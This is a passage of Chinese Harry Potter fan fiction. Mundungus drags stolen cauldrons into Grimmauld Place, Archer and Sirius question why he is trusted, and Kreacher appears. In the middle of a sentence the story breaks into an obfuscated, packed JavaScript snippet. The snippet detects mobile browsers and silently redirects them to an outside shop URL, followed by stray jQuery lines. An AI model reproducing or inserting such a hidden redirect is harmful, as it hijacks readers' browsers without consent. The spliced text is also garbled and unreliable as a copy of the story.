這時前門打開了，蒙頓格斯費力地搬著那些坩堝進了門，從他們的視野中消失了。
阿切爾下樓，先是把尖叫的布萊克夫人手疾眼快搞定——自從第一天乍一聽到的樂趣過後，這個老太太的尖叫聲顯然成了噪音。
“我們這裡不是窩藏贓物的地方！”莫麗衝著進門的蒙頓格斯大聲嚷嚷。
”——完全不負責任，好像我們的煩心事兒還不夠多似的，你還要把這一大堆偷來的坩堝拖進屋子——”
好不容易被阿切爾搞定的布萊克夫人又叫起來了，更糟糕的是，門廳裡
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245832|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
那些肖像也發出了一片尖厲刺耳的叫聲中。
她不得不給這些肖像全施了一個效果強大的昏睡咒，結果是好的，因為她的耳朵終於清淨了。
“莫麗，去廚房——”她建議。
蒙頓格斯縮著脖子，一副畏畏縮縮但明顯瑕疵還敢的樣子。阿切爾在他走過身邊時皺了皺眉。
倒不是因為他那破布掛條的樣子，而是他的眼神——
他以為自己不動聲色，但其實阿切爾很清楚他剛剛看向自己的眼鏡、胸針、手套。
很像一種蒼蠅，在貪婪地看著不屬於他的食物。
“上樓吧，布拉赫爾。”小天狼星注意到阿切爾不喜的眼神。
“他是怎麼回事？”阿切爾跟著他上樓，沒有打擾莫麗訓斥，“鄧布利多怎麼會讓一個小偷加入鳳凰社？”
“他有用啊，”小天狼星漫不經心地說，“認識所有的騙子毛賊——哼，這也難怪，他自己就是那一類貨色。不過他對鄧布利多倒是忠心耿耿，有一次還幫助鄧布利多擺脫了困境。弄一個頓格這樣的人在身邊也有好處，他能聽到我們聽不到的東西。”
“那也實在沒必要用他。”阿切爾輕蔑地說，“連在什麼地方做什麼事都搞不清楚，還能指望他什麼呢？”
小天狼星知道她在說蒙頓格斯擅離職守的事情，他沒有說話，但是心裡也是讚成的。
他們回到樓上，阿切爾注意到那裡站著一個家養小精靈。
除了腰上圍了一條臟兮兮的破布，像熱帶國家男子用來遮體的腰布，他全身幾乎□□。
他的模樣很老了，皮膚似乎比他的身體實際需要的多出了好幾倍，雖然他的腦袋像所有家養小精靈一樣光禿禿的，但那兩隻蝙蝠般的大耳朵裡卻長出了一大堆白毛。他兩眼充血，水汪汪灰蒙蒙的，肉乎乎的鼻子很大，簡直像豬的鼻子一樣。
這時她聽到喬治問那隻家養小精靈到底想要什麼。
克利切的一對大眼睛猛地朝喬治望去。“克利切在打掃衛生。”他躲躲閃閃地說。